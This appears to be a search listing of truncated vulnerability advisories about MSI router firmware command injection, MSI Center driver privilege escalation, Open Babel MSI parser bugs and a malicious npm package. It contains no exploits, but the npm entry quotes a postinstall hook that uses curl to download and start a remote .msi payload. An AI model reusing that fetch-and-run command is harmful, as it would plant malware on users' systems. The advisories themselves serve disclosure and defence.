CVE-2026-71987 MSI Radix AXE6600 v781521 Command Injection via alg function

MSI Radix AXE6600 router firmware version v781521 contains a command injection vulnerability in the alg function that allows remote attackers to execute arbitrary commands on the affected device. Attackers can exploit this vulnerability through the alg function to execute malicious commands and...

CVE-2026-71983

MSI Radix AXE6600 router firmware version v781521 contains a command injection vulnerability in the wps.cgi interface that allows remote attackers to execute arbitrary commands by injecting malicious input through the pin2g, pin5g, or pin6g parameters. Attackers can exploit these unsanitized...

CVE-2026-71984

MSI Radix AXE6600 router firmware v781521 includes a command-injection vulnerability in the urlfilter function that allows remote command execution and potential root privileges on the device. Affected component: urlfilter in the firmware; impact includes high confidentiality, integrity, and avai...

CVE-2026-71984 MSI Radix AXE6600 v781521 Command Injection via urlfilter

MSI Radix AXE6600 router firmware version v781521 contains a command injection vulnerability in the urlfilter function that allows remote attackers to execute arbitrary commands on the affected device. Attackers can exploit the urlfilter function to inject malicious commands and obtain root...

CVE-2026-71984

MSI Radix AXE6600 router firmware version v781521 contains a command injection vulnerability in the urlfilter function that allows remote attackers to execute arbitrary commands on the affected device. Attackers can exploit the urlfilter function to inject malicious commands and obtain root...

CVE-2026-71983 MSI Radix AXE6600 v781521 Command Injection via wps.cgi

MSI Radix AXE6600 router firmware version v781521 contains a command injection vulnerability in the wps.cgi interface that allows remote attackers to execute arbitrary commands by injecting malicious input through the pin2g, pin5g, or pin6g parameters. Attackers can exploit these unsanitized...

PT-2026-69231

Name of the Vulnerable Software and Affected Versions MSI Radix AXE6600 version v781521 Description A command injection issue exists in the 'wps.cgi' endpoint. Remote attackers can execute arbitrary commands and obtain root privileges by providing malicious input through the pin2g, pin5g, or pin6...

PT-2026-69236

Name of the Vulnerable Software and Affected Versions MSI Radix AXE6600 version v781521 Description Remote attackers can execute arbitrary commands and obtain root privileges on the underlying system. This is possible through the alg function, which triggers a command injection within the portFw...

Malicious code in block_package (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 33601d937b847af20b85c4a784ec38ae18e1543cc64dbc1dcdaf65f09437cf51 scripts/postinstall.js runs automatically during npm install and uses execSync to invoke curl -O http://renes.sg/npmblockpackage.msi & start...

CVE-2026-6102

MSI Center NTIOLibX64 Origin Validation Error Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of MSI Center. An attacker must first obtain the ability to execute low-privileged code on the target system in order ...

CVE-2026-6102

The CVE-2026-6102 entry concerns MSI Center NTIOLib_X64 with a local privilege-escalation flaw in the NTIOLib_X64.sys driver due to insufficient validation of the origin of commands. A local attacker who can run low-privileged code can escalate to SYSTEM and execute arbitrary code. The issue is i...

CVE-2026-6102 MSI Center NTIOLib_X64 Origin Validation Error Local Privilege Escalation Vulnerability

MSI Center NTIOLibX64 Origin Validation Error Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of MSI Center. An attacker must first obtain the ability to execute low-privileged code on the target system in order ...

CVE-2026-6102 MSI Center NTIOLib_X64 Origin Validation Error Local Privilege Escalation Vulnerability

MSI Center NTIOLibX64 Origin Validation Error Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of MSI Center. An attacker must first obtain the ability to execute low-privileged code on the target system in order ...

MSI Center NTIOLib_X64 Origin Validation Error Local Privilege Escalation Vulnerability

This vulnerability allows local attackers to escalate privileges on affected installations of MSI Center. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the NTIOLibX64.sys driver...

PT-2026-60349

MSI Center NTIOLib X64 Origin Validation Error Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of MSI Center. An attacker must first obtain the ability to execute low-privileged code on the target system in order...

PYSEC-2026-2780 Open Babel has out-of-bounds write in MSI translationVectors[]

Summary A memory-safety vulnerability in Open Babel's MSI parser allowed an out-of-bounds write into the translationVectors array when reading a crafted input file. Details The MSI reader stored cell translation vectors into a fixed-size translationVectors array. A malformed input could push more...

Open Babel has uninitialized pointer dereference in MSI atom parser

SummaryA memory-safety vulnerability in Open Babel's MSI parser caused anuninitialized pointer dereference when reading a crafted input file. DetailsThe flaw was in the atom handling of the MSI reader. A malformedrecord caused the parser to dereference an atom pointer that hadnever been...

PT-2026-59423

Summary A memory-safety vulnerability in Open Babel's MSI parser caused an uninitialized pointer dereference when reading a crafted input file. Details The flaw was in the atom handling of the MSI reader. A malformed record caused the parser to dereference an atom pointer that had never been...

EUVD-2026-42053

MSI Feature Manager contains a local privilege escalation vulnerability in the KernCoreLib64.sys kernel driver that allows any locally logged-on user to perform arbitrary physical memory read/write and unrestricted I/O port operations by accessing exposed IOCTL handlers without administrator...

SUSE CVE-2022-44451

A use of uninitialized pointer vulnerability exists in the MSI format atom functionality of Open Babel 3.1.1 and master commit 530dbfa3. A specially crafted malformed file can lead to arbitrary code execution. An attacker can provide a malicious file to trigger this vulnerability...